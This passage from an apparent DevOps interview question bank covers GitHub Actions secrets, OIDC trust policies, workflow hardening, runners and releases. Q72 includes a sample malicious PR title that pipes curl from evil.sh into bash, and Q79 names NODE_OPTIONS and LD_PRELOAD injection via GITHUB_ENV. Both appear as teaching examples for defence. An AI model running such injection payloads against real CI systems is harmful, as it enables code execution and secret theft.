test -n "$TOKEN" && echo "len=${#TOKEN}", or compare a hash prefix:echo -n "$TOKEN" | sha256sum | cut -c1-8. - Test the credential against the API and print only the status code.
- If the value is wrong, rotate it and re-set with
gh secret set.
Why โ Logs are readable by everyone with repo read access and are retained for 90 days.
Interview tip โ "Verify shape and behaviour, never the value."
Q55 Staging and prod need different database URLs and different AWS roles, using one workflow. How?
Beginner
Situation read โ Environment-scoped config.
What I'd do โ
- Create environments
stagingandprod. - Same names in each: secret
DATABASE_URL, variableDEPLOY_ROLE_ARN. - Job:
environment: ${{ inputs.environment }}and referencesecrets.DATABASE_URL,vars.DEPLOY_ROLE_ARN.
Why โ Identical names keep the workflow generic; GitHub resolves values per environment.
Interview tip โ Mention that prod secrets are only released after approval.
Q56 Security requires two people for prod deploys: the author cannot approve. Configure it.
Beginner
Situation read โ Separation of duties.
What I'd do โ
- Prod environment: required reviewers = team
release-approvers, enable "Prevent self-review", disable admin bypass. - Deployment branches:
mainand tag patternv*only. - Branch protection on
mainwith required PR reviews so the code itself had a second reviewer.
Why โ Prevent self-review blocks the person who triggered the run from approving it.
Interview tip โ Mention audit trail: approvals are recorded on the deployment and in the audit log.
Q57 Write the AWS trust policy for a role used only by the prod deploy job of one repo.
Intermediate
Situation read โ Pin issuer, audience and subject.
What I'd do โ
- Trust policy:
{ "Version": "2012-10-17", "Statement": [{ "Effect": "Allow", "Principal": { "Federated": "arn:aws:iam::111122223333:oidc-provider/token.actions.githubusercontent.com" }, "Action": "sts:AssumeRoleWithWebIdentity", "Condition": { "StringEquals": { "token.actions.githubusercontent.com:aud": "sts.amazonaws.com", "token.actions.githubusercontent.com:sub": "repo:devopsshack/shack-api:environment:prod" } } }] } - Attach a policy allowing only what the deploy needs (for example
eks:DescribeCluster).
Why โ Only jobs bound to the prod environment, which require approval, can assume it.
Interview tip โ Explain that environment protection plus sub pinning chains GitHub approvals to AWS access.
Q58 PR workflows need read-only AWS access for terraform plan, including from same-repo branches. How do you set trust?
Advanced
terraform plan, including from same-repo branches. How do you set trust?Situation read โ Separate low-privilege role for PRs.
What I'd do โ
- Role
tf-plan-readonlywithReadOnlyAccessplus state bucket read and lock table access. - Trust
sub=repo:devopsshack/infra:pull_request. - Fork PRs do not get the OIDC token with secrets context in a usable way; keep plans for forks disabled or manual.
Why โ PR code is less trusted, so its identity gets read-only permissions, while apply uses a different environment-pinned role.
Interview tip โ Two roles, two trust subjects: one for PRs, one for the gated apply.
Q59 A team stores a 200 KB kubeconfig and certificates as secrets and hits the size limit. What do you recommend?
Intermediate
Situation read โ 48 KB secret limit, and static cluster credentials are a smell.
What I'd do โ
- For EKS: OIDC to AWS and
aws eks update-kubeconfig; for AKS and GKE: the equivalent OIDC login and get-credentials. - For unavoidable files, store them in a secret manager and fetch at runtime, or encrypt the file in repo with
gpg --symmetricand keep only the passphrase as a secret.
Why โ Dynamic credentials remove both the size problem and the rotation problem.
Interview tip โ Mention the 48 KB limit and the encrypted-file workaround from GitHub docs.
Q60 You need Vault secrets in workflows without a static Vault token. How?
Advanced
Situation read โ Vault supports JWT/OIDC auth with GitHub's issuer.
What I'd do โ
- Vault:
vault auth enable jwt, configureoidc_discovery_url=https://token.actions.githubusercontent.com,bound_issuerthe same. - Role with
bound_claimsonrepositoryandenvironment,user_claim=actor, short TTL, and a policy forsecret/data/shack-api/prod/*. - Workflow:
- uses: hashicorp/vault-action@v3 with: url: https://vault.example.com method: jwt role: shack-api-prod secrets: secret/data/shack-api/prod db_password | DB_PASSWORD
Why โ Same keyless model as cloud OIDC; Vault becomes the single source of truth.
Interview tip โ Mention binding claims to environment so only approved jobs get prod secrets.
Q61 Dependabot PRs fail because secrets are empty. Why, and what do you do?
Beginner
Situation read โ Dependabot-triggered runs use Dependabot secrets, not Actions secrets, and get a read-only token.
What I'd do โ
- Add needed secrets under Settings, Secrets, Dependabot (for example a private registry token).
- Skip steps that need write or deploy access when
github.actor == 'dependabot[bot]'. - For auto-merge, use a separate
pull_request_targetworkflow that only calls the API (no code checkout) withdependabot/fetch-metadata.
Why โ Dependabot PR code is treated as untrusted, like fork code.
Interview tip โ Know that Dependabot has its own secret store.
Q62 A prod deploy waits for approval, but on-call is asleep and the fix is urgent. Design break-glass.
Intermediate
Situation read โ Need speed without silently bypassing controls.
What I'd do โ
- Separate environment
prod-emergencywith a small senior approver group and its own AWS role, deploy brancheshotfix/*andmain. workflow_dispatchwithreasoninput written to the summary and posted to an incident channel.- Alert security on every use (audit log streaming rule).
- Post-incident review of every emergency deploy.
Why โ A documented, audited fast path beats admins bypassing protection rules.
Interview tip โ Emphasize auditability over speed alone.
Q63 You want approvals only for prod but automatic deploys to dev and staging, with staging delayed 10 minutes for smoke checks. Configure.
Beginner
Situation read โ Environment rules per stage.
What I'd do โ
dev: no rules, deployment branchmain.staging: wait timer 10 minutes, deployment branchmain.prod: required reviewers, prevent self-review, branchesmainand tagsv*.- Chain with
needs: deploy-devthenneeds: deploy-staging.
Why โ Rules live in environments, so the workflow stays simple.
Interview tip โ Wait timers do not consume runner minutes.
Q64 An org secret must be available only to three repos. How? And how do you audit who used it?
Beginner
Situation read โ Scoped org secret.
What I'd do โ
gh secret set NEXUS_TOKEN --org devopsshack --visibility selected --repos svc-a,svc-b,svc-c.- Audit: org audit log events for secret changes; for usage, the credential's own server logs (Nexus access log) since GitHub does not log secret reads per run.
Why โ Least distribution; usage auditing must happen at the target system.
Interview tip โ Admit the limitation: GitHub records secret management, not per-run usage.
Q65 You need to push to GHCR and to a second repo's branch from one workflow. Which tokens?
Intermediate
Situation read โ One same-repo action, one cross-repo action.
What I'd do โ
- GHCR push:
GITHUB_TOKENwithpackages: write(package linked to the repo). - Cross-repo push: GitHub App token from
actions/create-github-app-tokenscoped to the target repo withcontents: write. - Pass the app token only to the step that pushes.
Why โ GITHUB_TOKEN cannot write to other repos; App tokens are short-lived and scoped.
Interview tip โ Avoid PATs tied to a human account.
Q66 You want to run deployment jobs from GitHub but the clusters are private with no public API endpoint. Options?
Advanced
Situation read โ Hosted runners cannot reach private endpoints.
What I'd do โ
- ARC runners inside the VPC (or a dedicated small EKS cluster with network access), restricted via runner group to the deploy repos and workflows.
- Or hosted larger runners with Azure private networking (Azure) or static IPs allow-listed on a bastion or proxy.
- Or switch to GitOps: Actions updates a manifest repo, Argo CD inside the cluster pulls.
Why โ GitOps removes inbound access entirely; ARC in-VPC keeps push-based deploys.
Interview tip โ Present GitOps as the cleanest answer for private clusters.
Q67 Secrets were exposed in public workflow logs for 3 hours. What do you do?
Advanced
Situation read โ Incident response, assume compromise.
What I'd do โ
- Rotate every exposed credential immediately; revoke tokens at the provider.
- Delete the affected run logs (
gh run deleteor API) to stop further exposure. - Search provider audit logs (CloudTrail, npm) for use during the window.
- Find the cause:
set -x, transformed secret, third-party action, and fix it. - Postmortem, add log scanning, and move to OIDC where possible.
Why โ Deleting logs does not undo exposure; rotation is the only real fix.
Interview tip โ Rotate first, investigate second.
Q68 Each environment should deploy to a different AWS account. How do you structure roles and variables?
Advanced
Situation read โ Multi-account with OIDC.
What I'd do โ
- OIDC provider in each account (dev, staging, prod), created by Terraform.
- Role per account trusting
repo:ORG/REPO:environment:<env>. - Environment variable
DEPLOY_ROLE_ARNper environment,AWS_REGIONas repo variable. - Same workflow,
role-to-assume: ${{ vars.DEPLOY_ROLE_ARN }}.
Why โ Account boundaries plus environment-pinned trust contain any compromise to one stage.
Interview tip โ Mention that role ARNs are config (variables), not secrets.
Q69 You need a job to read prod secrets for a read-only smoke test without creating deployment noise or approvals. Approach?
Advanced
Situation read โ Environment use implies deployments and protection rules.
What I'd do โ
- Create a separate environment
prod-smokewith only the read-only secret and its own narrow role. - Restrict its deployment branches to
main. - No reviewers, because the credential is read-only by design.
Why โ Splitting by privilege keeps approvals meaningful where writes happen.
Interview tip โ "Approvals guard write paths; read paths get narrow credentials instead."
Q70 An auditor asks you to prove that no one deployed to prod without approval last quarter. How?
Intermediate
Situation read โ Evidence from GitHub and the cloud.
What I'd do โ
- Export deployments for the prod environment via API (
/repos/{o}/{r}/deployments?environment=prod) and their reviews (/actions/runs/{id}/approvals). - Export audit log events for environment rule changes and bypasses.
- Correlate with CloudTrail
AssumeRoleWithWebIdentityevents for the prod role (session name contains run ID) to show every prod session matches an approved run.
Why โ Two independent sources make the evidence credible.
Interview tip โ Mention setting role-session-name with the run ID to make this correlation possible.
Security Hardening & Supply Chain
๐ฅ Learn this hands-on with DevOps Shack โ YouTube @devopsshack ยท Hindi @shackverse ยท Courses at devopsshack.com
Q71 You are asked to harden an existing repo's workflows in one week. What is your checklist?
Intermediate
Situation read โ Fast, high-impact controls first.
What I'd do โ
- Set default workflow permissions to read-only; add
permissions: contents: readat the top of every workflow and per-job grants. - Pin all third-party actions to SHAs; add Dependabot for
github-actions. - Run
zizmorandactionlint; fix script injection andpull_request_targetusage. persist-credentials: falseon checkout where pushing is not needed.- Move cloud keys to OIDC; environment protection on prod.
- CODEOWNERS on
.github/; restrict allowed actions at org level. - Fork PR approval required for outside contributors.
Why โ These close the most exploited paths: token abuse, mutable dependencies, and injection.
Interview tip โ Lead with "least-privilege token and SHA pinning", the two controls every reviewer expects.
Q72 A contributor's PR title is "; curl -s https://evil.sh | bash; echo " and your labeler workflow uses the title in run:. What happens and how do you fix it?
Intermediate
"; curl -s https://evil.sh | bash; echo " and your labeler workflow uses the title in run:. What happens and how do you fix it?Situation read โ Script injection; if the workflow uses pull_request_target, it runs with secrets and a write token.
What I'd do โ
- Replace inline interpolation with env:
- env: TITLE: ${{ github.event.pull_request.title }} run: | if [[ "$TITLE" == feat* ]]; then echo "feature"; fi - Audit all workflows for
${{ github.event.*insiderun:andscript:. - Rotate any secrets the workflow had access to if it has run on such a PR.
Why โ Expressions are pasted into script text before execution; env variables are expanded as data.
Interview tip โ List the untrusted fields: titles, bodies, branch names, commit messages, labels.
Q73 Your OSS project needs to run tests on fork PRs and post coverage comments. Design it safely.
Advanced
Situation read โ Untrusted code must run without secrets; commenting needs write access.
What I'd do โ
ci.ymlonpull_request: run tests, writecoverage.jsonand the PR number to an artifact. No secrets, read-only token.comment.ymlonworkflow_run(CI completed): download the artifact withrun-id, validate PR number is an integer and the JSON schema, render the comment, post withpull-requests: write.- Never execute anything from the artifact; never check out the PR head in
comment.yml.
Why โ Splits untrusted execution from privileged writing, with only data crossing the boundary.
Interview tip โ Name it "the two-workflow pattern" and mention artifact validation.
Q74 A popular action you use was compromised and its tags repointed. What do you do in the first hour?
Advanced
Situation read โ Supply-chain incident; assume secrets in affected runs leaked.
What I'd do โ
- Find usage org-wide: code search
org:devopsshack "tj-actions/changed-files"and list runs in the exposure window. - Block the action at org level (allowed actions policy) to stop new runs.
- Rotate every secret available to affected workflows; check logs of public repos for dumped secrets and delete those runs.
- Replace with a pinned safe SHA or an alternative.
- Enforce SHA pinning org-wide afterwards.
Why โ Blocking stops the bleed, rotation removes the impact, pinning prevents recurrence.
Interview tip โ Speak in time order: contain, rotate, eradicate, prevent.
Q75 You must prove that a container image in prod was built by your CI from a specific commit. How?
Advanced
Situation read โ Build provenance and verification at deploy time.
What I'd do โ
- In the build job,
actions/attest-build-provenanceon the pushed digest (id-token: write,attestations: write). - Before deploy,
gh attestation verify oci://$IMAGE@$DIGEST --owner devopsshack --signer-workflow devopsshack/shack-api/.github/workflows/cd.yml. - In-cluster, enforce with Kyverno
verifyImagesor Sigstore policy-controller requiring provenance from your workflow identity.
Why โ Signed provenance ties the digest to repo, workflow, commit and run, and admission policy makes it mandatory.
Interview tip โ Mention SLSA levels; this setup gives SLSA build level 2 to 3 characteristics on hosted runners.
Q76 A developer wants to use a new Marketplace action with 40 stars for Slack notifications. How do you evaluate it?
Beginner
Situation read โ Third-party code would run with the job's token and secrets.
What I'd do โ
- Check: maintainer reputation, recent activity, open security issues, permissions it requests, network calls in code, dependencies.
- Prefer a few lines of
curlto the Slack webhook over a dependency for trivial tasks. - If adopted: pin SHA, isolate it in a job with
permissions: {}and only the webhook secret. - Add it to the org allow-list after review.
Why โ Each action is a dependency with full job access.
Interview tip โ "If it's ten lines of curl, I write the ten lines."
Q77 You find pull_request_target used to build and test PRs in a private repo. Is that acceptable?
Advanced
pull_request_target used to build and test PRs in a private repo. Is that acceptable?Situation read โ Private repos limit forks to people with read access, but insiders, compromised accounts and accidental malicious dependencies still exist.
What I'd do โ
- Switch to
pull_request; in private repos, same-repo PRs already get secrets withpull_request. - If forks are used internally, enable "Send secrets to workflows from fork pull requests" only if truly needed, and with approval required.
- Remove the head checkout from any remaining
pull_request_targetworkflow.
Why โ pull_request_target gives no benefit here and keeps a dangerous pattern alive.
Interview tip โ The trigger is for metadata on public fork PRs, not for building code.
Q78 How do you stop workflows from pushing directly to main while still letting a release bot update the changelog?
Intermediate
main while still letting a release bot update the changelog?Situation read โ Branch protection vs automation.
What I'd do โ
- Ruleset on
main: require PRs and status checks, block force pushes. - Release bot (GitHub App) opens a PR with the changelog (release-please model) rather than pushing.
- If direct push is essential, add only the App to the ruleset bypass list, never
GITHUB_TOKENbroadly.
Why โ Rulesets support specific app bypass, keeping humans and normal workflows under protection.
Interview tip โ Prefer "bot opens PR" over bypasses.
Q79 A workflow writes untrusted data to $GITHUB_ENV. Why is that dangerous and how do you fix it?
Advanced
$GITHUB_ENV. Why is that dangerous and how do you fix it?Situation read โ Newlines in the data let an attacker define arbitrary env vars for later steps, such as NODE_OPTIONS=--require /tmp/x.js or LD_PRELOAD.
What I'd do โ
- Avoid writing untrusted values to
$GITHUB_ENV; pass them as step outputs and map intoenv:of the consuming step. - If unavoidable, use a random heredoc delimiter and validate content (reject newlines).
Why โ GITHUB_ENV affects every later step including third-party actions.
Interview tip โ Mention NODE_OPTIONS as the concrete exploitation path.
Q80 You want every PR that edits .github/workflows/ to get security review automatically. How?
Beginner
.github/workflows/ to get security review automatically. How?Situation read โ Ownership and automated checks.
What I'd do โ
- CODEOWNERS:
/.github/ @devopsshack/platform-security, plus "require review from Code Owners". - A workflow running
zizmorandactionlintonpaths: ['.github/**']that uploads SARIF to code scanning.
Why โ Human review plus automated linting catches both design and pattern mistakes.
Interview tip โ Workflow files are code with production credentials; treat them as such.
Q81 Runners on GitHub-hosted VMs can reach the internet freely. How do you detect or limit exfiltration?
Advanced
Situation read โ Egress control on hosted runners is limited.
What I'd do โ
- Use an egress-monitoring agent such as StepSecurity Harden-Runner in audit mode to baseline endpoints, then block mode with an allow-list.
- For sensitive workflows, use larger runners with private networking or self-hosted runners behind an egress proxy.
- Keep secrets scoped to steps so exfiltration from other steps finds nothing.
Why โ The tj-actions incident was detected by egress monitoring of unexpected endpoints.
Interview tip โ Mention audit first, then block, to avoid breaking builds.
Q82 Your release workflow restores caches built by PR workflows. What is the risk and fix?
Advanced
Situation read โ Cache poisoning: a privileged release consumes data created in a less trusted context.
What I'd do โ
- Release builds run clean: no
actions/cacherestore,setup-nodewithoutcache, Docker build with--no-cacheor registry cache written only frommain. - Ensure no
pull_request_targetworkflow saves caches.
Why โ Releases are where integrity matters most; speed matters least.
Interview tip โ "Release builds are hermetic and cacheless."
Q83 Management wants all actions to come only from GitHub, verified creators, and an internal list. How do you implement it?
Beginner
Situation read โ Org policy.
What I'd do โ
- Org Settings, Actions, Policies: "Allow devopsshack, and select non-devopsshack, actions and reusable workflows", tick "Allow actions created by GitHub" and "Allow Marketplace actions by verified creators", add patterns like
aquasecurity/trivy-action@*. - Enable "Require actions to be pinned to a full-length commit SHA" where available.
- Document the request process for adding new actions.
Why โ Explicit allow-listing turns the supply chain into a reviewed inventory.
Interview tip โ Mention a request process; otherwise teams copy action code into repos to bypass.
Q84 A job needs to push a commit back to the PR branch (auto-format). Do it safely.
Intermediate
Situation read โ Write access to branches, fork limitations, loop risk.
What I'd do โ
- Only for same-repo PRs:
if: github.event.pull_request.head.repo.full_name == github.repository. permissions: contents: write, checkoutref: ${{ github.head_ref }}.- Commit as
github-actions[bot]and push; the push byGITHUB_TOKENwill not retrigger CI (no loop), so run checks on the formatted code in the same job or require a new push.
Why โ Fork branches cannot be written with GITHUB_TOKEN, and pushing back with a PAT would trigger loops.
Interview tip โ Many teams prefer failing the check with a diff over pushing commits.
Q85 You want to detect secrets accidentally committed in PRs within CI. How?
Beginner
Situation read โ Secret scanning at PR time.
What I'd do โ
- Enable GitHub secret scanning with push protection (blocks pushes containing known token formats).
- Add
gitleaksin CI for custom patterns:- uses: actions/checkout@v4 with: { fetch-depth: 0 } - run: docker run --rm -v "$PWD:/repo" zricethezav/gitleaks:v8.21.2 detect --source /repo --log-opts "origin/main..HEAD"
Why โ Push protection prevents the leak; CI scanning catches custom formats.
Interview tip โ Remember that a committed secret must be rotated even if the commit is removed.
Q86 A third-party action requires contents: write but you only want it to read. What do you do?
Intermediate
contents: write but you only want it to read. What do you do?Situation read โ Over-privileged dependency.
What I'd do โ
- Read its code to understand why; often a feature you do not use (auto-commit).
- Run it in a separate job with
permissions: contents: readand see if it works with its write feature disabled. - If it truly needs write for a read use case, replace it.
Why โ Granting write to a third-party action lets it modify your code or releases.
Interview tip โ "Permissions are per job, so isolate risky actions in their own job."
Runners, ARC, Monorepos & Releases
๐ฅ Learn this hands-on with DevOps Shack โ YouTube @devopsshack ยท Hindi @shackverse ยท Courses at devopsshack.com
Q87 You must build on runners that can reach an internal Artifactory. Design the runner setup.
Advanced
Situation read โ Private network access, needs isolation and scaling.
What I'd do โ
- ARC on an EKS cluster in the VPC, scale set
arc-internalwithminRunners: 1,maxRunners: 30. - Runner group
internal-networklimited to selected repos. - Custom runner image with corporate CA and tools baked in.
- Ephemeral pods, no node IAM role access (IMDS hop limit 1), OIDC for cloud access.
Why โ Ephemeral pods in a controlled network give access without persistent risk.
Interview tip โ Mention runner groups as the access control layer.
Q88 Persistent self-hosted runners keep failing because a previous job left files and Docker images. Fix the root cause.
Beginner
Situation read โ State leaking between jobs.
What I'd do โ
- Move to ephemeral runners (
--ephemeralwith autoscaling, or ARC). - In the meantime, a job-completed hook (
ACTIONS_RUNNER_HOOK_JOB_COMPLETED=/opt/cleanup.sh) that wipes the workspace, prunes Docker and removes temp credentials.
Why โ Cleanup scripts are a patch; ephemeral runners remove the class of problem.
Interview tip โ Know the runner job-started and job-completed hooks.
Q89 Design ARC for a company with Linux build jobs, Docker image builds, and GPU tests.
Advanced
Situation read โ Different workloads need different scale sets.
What I'd do โ
- One controller, three scale sets:
arc-linux(default mode, small CPU),arc-docker(dind mode on a tainted node pool),arc-gpu(nodeSelector for GPU nodes,minRunners: 0). - Each in its own namespace with ResourceQuotas and requests and limits in the pod template.
- Karpenter NodePools per class, spot for linux and docker, on-demand for GPU.
- Runner groups restrict GPU to ML repos.
- Pin chart versions, monitor listener metrics (
listenerMetrics) with Prometheus.
Why โ Separate scale sets isolate privilege (dind) and cost (GPU) and scale independently.
Interview tip โ Mention that runs-on equals the scale set name.
Q90 You need to upgrade ARC across 10 clusters with zero dropped jobs. Plan it.
Advanced
Situation read โ Controller and scale sets must match versions; CRDs change.
What I'd do โ
- Read release notes for CRD changes.
- In a staging cluster: uninstall scale sets (running jobs finish first since ephemeral runners drain), upgrade the controller with new CRDs, reinstall scale sets with the same names.
- Roll cluster by cluster during low traffic; with two clusters serving the same scale set name via different runner groups, shift load first.
- Validate with a canary workflow that targets each scale set.
Why โ Version skew between controller and scale set is a common source of listener failures.
Interview tip โ Mention pinning --version for both charts.
Q91 A monorepo has 30 services; every PR builds all of them. Redesign.
Advanced
Situation read โ Need change detection with dependency awareness.
What I'd do โ
changesjob computes affected services: path filters per service including shared libs, ornx show projects --affected --base=origin/main --json.- Dynamic matrix build with
fromJSON, guarded against empty lists. - Per-service Docker cache scope.
- Fan-in
ci-okas the only required check. - Nightly full build to catch anything the graph missed.
Why โ Typical PRs touch one or two services, cutting time and cost dramatically.
Interview tip โ Mention the nightly full build as a safety net.
Q92 A monorepo deploys each service independently with its own version. How do you trigger and version releases?
Advanced
Situation read โ Per-package versioning.
What I'd do โ
- Tags with prefixes:
api-v1.4.0,web-v2.1.0; triggeron: push: tags: ["*-v*"]. - Parse service and version:
svc=${GITHUB_REF_NAME%-v*}; ver=${GITHUB_REF_NAME##*-v}. - Or release-please in manifest mode (
release-please-config.jsonwith packages), creating per-package release PRs and tags. - Deploy only the tagged service via the reusable deploy workflow.
Why โ Independent tags keep changelogs and rollbacks per service.
Interview tip โ Mention release-please manifest mode for monorepos.
Q93 Design a release workflow for a CLI tool that publishes binaries for Linux, macOS and Windows.
Intermediate
Situation read โ Cross-compile, checksum, sign, publish.
What I'd do โ
- Trigger on tags
v*.*.*. - Matrix build (or GoReleaser in one job for Go), upload artifacts per platform.
- Fan-in job downloads with
merge-multiple: true, generateschecksums.txt, attests provenance, and runsgh release create "$GITHUB_REF_NAME" dist/* --generate-notes --verify-tag. - Publish to Homebrew tap via App token.
Why โ Fan-in keeps release creation atomic with all assets.
Interview tip โ Mention checksums and provenance as part of "done".
Q94 Releases are currently manual: someone edits the version, writes notes and tags. Automate it.
Intermediate
Situation read โ Adopt Conventional Commits and a release tool.
What I'd do โ
- Enforce Conventional Commit PR titles with a check and squash merges.
- release-please on
mainmaintains a release PR with version bump and changelog. - Merging it creates tag and release (App token so downstream workflows trigger).
- Release workflow retags the tested image and deploys to prod with approval.
Why โ Versioning becomes a reviewable PR instead of tribal knowledge.
Interview tip โ Explain why the App token is needed: GITHUB_TOKEN tags do not trigger workflows.
Q95 You want CD to stop at staging and let prod be promoted later by tagging. How do you design the image flow?
Intermediate
Situation read โ Promotion by digest.
What I'd do โ
main: build, scan, pushsha-<short>, deploy dev then staging.- Tag
v1.5.0on a commit that passed staging. - Release workflow: verify image
sha-<short>exists, add tagv1.5.0to the same manifest (ECRput-image), create release, deploy prod by digest.
Why โ Prod gets exactly what staging tested, and tags are just names on the same digest.
Interview tip โ Mention verifying the commit actually passed staging (check deployment status via API) before promoting.
Q96 You have to roll back prod quickly. How should your workflows support that?
Beginner
Situation read โ Rollback must be a known, rehearsed path.
What I'd do โ
workflow_dispatch"Rollback" taking a previous version or digest, calling the same reusable deploy workflow (same approvals, possibly a faster emergency environment).- In-job automatic rollback on failed rollout:
kubectl rollout undoifrollout statusfails. - Keep previous images (ECR lifecycle policy retains enough releases).
Why โ Rollback is just a deploy of an older digest when you build once and promote.
Interview tip โ Rehearse it; a rollback path never tested is not a rollback path.
Q97 A self-hosted Windows runner fleet is needed for .NET Framework builds. What do you watch out for?
Intermediate
Situation read โ Windows-specific runner operations.
What I'd do โ
- Ephemeral VMs from a golden image (Packer) with Visual Studio Build Tools, autoscaled via a VMSS or similar.
- Run the runner as a service with a low-privilege account.
- Use
shell: pwshand paths with care; long path support enabled. - Patch images monthly; keep runner auto-update enabled or rebuild images on new runner releases.
Why โ Windows has no ARC-style container story for .NET Framework, so VM images are the unit.
Interview tip โ Mention that runners too far behind the latest version stop receiving jobs.
Q98 Jobs need GPUs only for a weekly benchmark. Cheapest setup?
Beginner
Situation read โ Rare, expensive hardware.
What I'd do โ
- GitHub-hosted GPU larger runner, billed per minute, used only in that workflow.
- Or ARC GPU scale set with
minRunners: 0on a GPU node pool that scales from zero. timeout-minutesstrict, schedule plus dispatch triggers.
Why โ Paying per minute for weekly use beats any always-on GPU host.
Interview tip โ Tie infrastructure choice to utilization.
Q99 A release must publish to npm with provenance. What does the workflow need?
Advanced
Situation read โ npm provenance uses GitHub OIDC.
What I'd do โ
- Workflow:
permissions: contents: read id-token: write steps: - uses: actions/checkout@v4 - uses: actions/setup-node@v4 with: { node-version: 22, registry-url: "https://registry.npmjs.org" } - run: npm ci && npm publish --provenance --access public env: NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }} - Better: npm trusted publishing (OIDC) configured on npmjs.com for the repo and workflow, removing
NPM_TOKENentirely.
Why โ Provenance links the package to the source and build; trusted publishing removes the long-lived token.
Interview tip โ Mention trusted publishing exists for npm and PyPI now.
Q100 You inherit 200 repos with unpinned actions. Plan an org-wide pinning rollout.
Advanced
Situation read โ Scale problem; must not break builds.
What I'd do โ
- Inventory with code search or a script over
.github/workflows/*.ymlto listuses:refs. - Use a pinning tool (
pinact runorratchet pin) in a scripted PR per repo, adding version comments. - Add Dependabot config for
github-actionsin the same PR so pins stay current. - Merge in waves; then enable the org policy requiring SHA pinning.
Why โ Automation makes it tractable; policy keeps it true after rollout.
Interview tip โ "Fix existing, keep current with Dependabot, enforce with policy."